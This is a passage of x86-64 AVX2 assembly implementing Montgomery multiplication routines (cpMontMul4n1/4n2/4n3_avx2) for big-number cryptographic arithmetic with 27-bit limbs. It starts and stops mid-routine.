vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (48)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (48)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (80)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (80)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-24)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (8)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (8)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (40)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (40)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (72)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (72)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vmovdqu %ymm0, (-32)(%rdi)
vmovdqu %ymm1, (%rdi)
vmovdqu %ymm2, (32)(%rdi)
vmovdqu %ymm3, (64)(%rdi)
add $(128), %rdi
add $(128), %rsi
add $(128), %rcx
jmp .Lloop16_Agas_2
.Lexit_loop16_Agas_2:
add $(16), %r11
jz .LexitAgas_2
.Lloop4_Agas_2:
sub $(4), %r11
jl .LexitAgas_2
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-24)(%rsi), %ymm7, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vmovdqu %ymm0, (-32)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lloop4_Agas_2
.LexitAgas_2:
jmp .Lloop4_Bgas_2
.Lexit_loop4_Bgas_2:
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r13, (16)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lrem_loop4_Agas_2:
sub $(4), %r11
jl .Lexit_rem_loop4_Agas_2
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vmovdqu %ymm0, (-8)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lrem_loop4_Agas_2
.Lexit_rem_loop4_Agas_2:
movq (%rsp), %rdi
movq (8)(%rsp), %rsi
movq (32)(%rsp), %r8
xor %rax, %rax
.Lnorm_loopgas_2:
addq (%rsi), %rax
add $(8), %rsi
mov $(134217727), %rdx
and %rax, %rdx
shr $(27), %rax
movq %rdx, (%rdi)
add $(8), %rdi
sub $(1), %r8
jg .Lnorm_loopgas_2
movq %rax, (%rdi)
add $(48), %rsp
vzeroupper
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe2:
.size cpMontMul4n1_avx2, .Lfe2-(cpMontMul4n1_avx2)
.p2align 6, 0x90
.globl cpMontMul4n2_avx2
.type cpMontMul4n2_avx2, @function
cpMontMul4n2_avx2:
push %rbx
push %rbp
push %r12
push %r13
push %r14
sub $(48), %rsp
mov %rdx, %rbp
movslq %r8d, %r8
movq %rdi, (%rsp)
movq %rsi, (16)(%rsp)
movq %rcx, (24)(%rsp)
movq %r8, (32)(%rsp)
movq (96)(%rsp), %rdi
mov %rdi, (8)(%rsp)
vpxor %ymm0, %ymm0, %ymm0
xor %rax, %rax
vmovdqu %ymm0, (%rsi,%r8,8)
vmovdqu %ymm0, (%rcx,%r8,8)
mov %r8, %r14
.p2align 6, 0x90
.LclearLoopgas_3:
vmovdqu %ymm0, (%rdi)
add $(32), %rdi
sub $(4), %r14
jg .LclearLoopgas_3
vmovdqu %xmm0, (%rdi)
lea (3)(%r8), %r14
and $(-4), %r14
.p2align 6, 0x90
.Lloop4_Bgas_3:
sub $(4), %r8
jl .Lexit_loop4_Bgas_3
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq (16)(%rbp), %rbx
vpbroadcastq (16)(%rbp), %ymm6
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r12
mov %r12, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm10
vpbroadcastq %xmm10, %ymm10
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r12
shr $(27), %r12
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r13
add %r12, %r13
movq (24)(%rbp), %rbx
vpbroadcastq (24)(%rbp), %ymm7
imulq (%rsi), %rbx
add %rbx, %r13
mov %r13, %rdx
imul %r9d, %edx
and $(134217727), %edx
vmovd %edx, %xmm11
vpbroadcastq %xmm11, %ymm11
imulq (%rcx), %rdx
add %rdx, %r13
shr $(27), %r13
vmovq %r13, %xmm0
vpaddq (32)(%rdi), %ymm0, %ymm0
vmovdqu %ymm0, (32)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lloop16_Agas_3:
sub $(16), %r11
jl .Lexit_loop16_Agas_3
vmovdqu (%rdi), %ymm0
vmovdqu (32)(%rdi), %ymm1
vmovdqu (64)(%rdi), %ymm2
vmovdqu (96)(%rdi), %ymm3
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (32)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (32)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (64)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (64)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (96)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (96)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (24)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (24)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (56)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (56)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (88)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (88)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (48)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (48)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (80)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (80)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-24)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (8)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (8)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (40)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (40)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (72)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (72)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vmovdqu %ymm0, (-32)(%rdi)
vmovdqu %ymm1, (%rdi)
vmovdqu %ymm2, (32)(%rdi)
vmovdqu %ymm3, (64)(%rdi)
add $(128), %rdi
add $(128), %rsi
add $(128), %rcx
jmp .Lloop16_Agas_3
.Lexit_loop16_Agas_3:
add $(16), %r11
jz .LexitAgas_3
.Lloop4_Agas_3:
sub $(4), %r11
jl .LexitAgas_3
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-24)(%rsi), %ymm7, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vmovdqu %ymm0, (-32)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lloop4_Agas_3
.LexitAgas_3:
vpmuludq (-24)(%rsi), %ymm7, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vmovdqu %ymm0, (-32)(%rdi)
jmp .Lloop4_Bgas_3
.Lexit_loop4_Bgas_3:
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lrem_loop4_Agas_3:
sub $(4), %r11
jl .Lexit_rem_loop4_Agas_3
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vmovdqu %ymm0, (-16)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lrem_loop4_Agas_3
.Lexit_rem_loop4_Agas_3:
movq (%rsp), %rdi
movq (8)(%rsp), %rsi
movq (32)(%rsp), %r8
xor %rax, %rax
.Lnorm_loopgas_3:
addq (%rsi), %rax
add $(8), %rsi
mov $(134217727), %rdx
and %rax, %rdx
shr $(27), %rax
movq %rdx, (%rdi)
add $(8), %rdi
sub $(1), %r8
jg .Lnorm_loopgas_3
movq %rax, (%rdi)
add $(48), %rsp
vzeroupper
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe3:
.size cpMontMul4n2_avx2, .Lfe3-(cpMontMul4n2_avx2)
.p2align 6, 0x90
.globl cpMontMul4n3_avx2
.type cpMontMul4n3_avx2, @function
cpMontMul4n3_avx2:
push %rbx
push %rbp
push %r12
push %r13
push %r14
sub $(48), %rsp
mov %rdx, %rbp
movslq %r8d, %r8
movq %rdi, (%rsp)
movq %rsi, (16)(%rsp)
movq %rcx, (24)(%rsp)
movq %r8, (32)(%rsp)
movq (96)(%rsp), %rdi
mov %rdi, (8)(%rsp)
vpxor %ymm0, %ymm0, %ymm0
xor %rax, %rax
vmovdqu %ymm0, (%rsi,%r8,8)
vmovdqu %ymm0, (%rcx,%r8,8)
mov %r8, %r14
.p2align 6, 0x90
.LclearLoopgas_4:
vmovdqu %ymm0, (%rdi)
add $(32), %rdi
sub $(4), %r14
jg .LclearLoopgas_4
vmovdqu %xmm0, (%rdi)
movq %rax, (16)(%rdi)
lea (3)(%r8), %r14
and $(-4), %r14
.p2align 6, 0x90
.Lloop4_Bgas_4:
sub $(4), %r8
jl .Lexit_loop4_Bgas_4
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq (16)(%rbp), %rbx
vpbroadcastq (16)(%rbp), %ymm6
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r12
mov %r12, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm10
vpbroadcastq %xmm10, %ymm10
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r12
shr $(27), %r12
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r13
add %r12, %r13
movq (24)(%rbp), %rbx
vpbroadcastq (24)(%rbp), %ymm7
imulq (%rsi), %rbx
add %rbx, %r13
mov %r13, %rdx
imul %r9d, %edx
and $(134217727), %edx
vmovd %edx, %xmm11
vpbroadcastq %xmm11, %ymm11
imulq (%rcx), %rdx
add %rdx, %r13
shr $(27), %r13
vmovq %r13, %xmm0
vpaddq (32)(%rdi), %ymm0, %ymm0
vmovdqu %ymm0, (32)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lloop16_Agas_4:
sub $(16), %r11
jl .Lexit_loop16_Agas_4
vmovdqu (%rdi), %ymm0
vmovdqu (32)(%rdi), %ymm1
vmovdqu (64)(%rdi), %ymm2
vmovdqu (96)(%rdi), %ymm3
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (32)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (32)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (64)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (64)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (96)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (96)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (24)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (24)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (56)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (56)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (88)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (88)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (48)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (48)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (80)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (80)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-24)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (8)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (8)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (40)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (40)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (72)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (72)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vmovdqu %ymm0, (-32)(%rdi)
vmovdqu %ymm1, (%rdi)
vmovdqu %ymm2, (32)(%rdi)
vmovdqu %ymm3, (64)(%rdi)
add $(128), %rdi
add $(128), %rsi
add $(128), %rcx
jmp .Lloop16_Agas_4
.Lexit_loop16_Agas_4:
add $(16), %r11
jz .LexitAgas_4
.Lloop4_Agas_4:
sub $(4), %r11
jl .LexitAgas_4
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-24)(%rsi), %ymm7, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vmovdqu %ymm0, (-32)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lloop4_Agas_4
.LexitAgas_4:
vpmuludq (-16)(%rsi), %ymm6, %ymm2
vpmuludq (-16)(%rcx), %ymm10, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (-24)(%rsi), %ymm7, %ymm3
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpaddq %ymm3, %ymm2, %ymm2
vmovdqu %ymm2, (-32)(%rdi)
jmp .Lloop4_Bgas_4
.Lexit_loop4_Bgas_4:
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq (16)(%rbp), %rbx
vpbroadcastq (16)(%rbp), %ymm6
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r12
mov %r12, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm10
vpbroadcastq %xmm10, %ymm10
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r12
shr $(27), %r12
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r13
add %r12, %r13
movq %r13, (%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lrem_loop4_Agas_4:
sub $(4), %r11
jl .Lexit_rem_loop4_Agas_4
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vmovdqu %ymm0, (-24)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lrem_loop4_Agas_4
.Lexit_rem_loop4_Agas_4:
vmovdqu (%rdi), %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
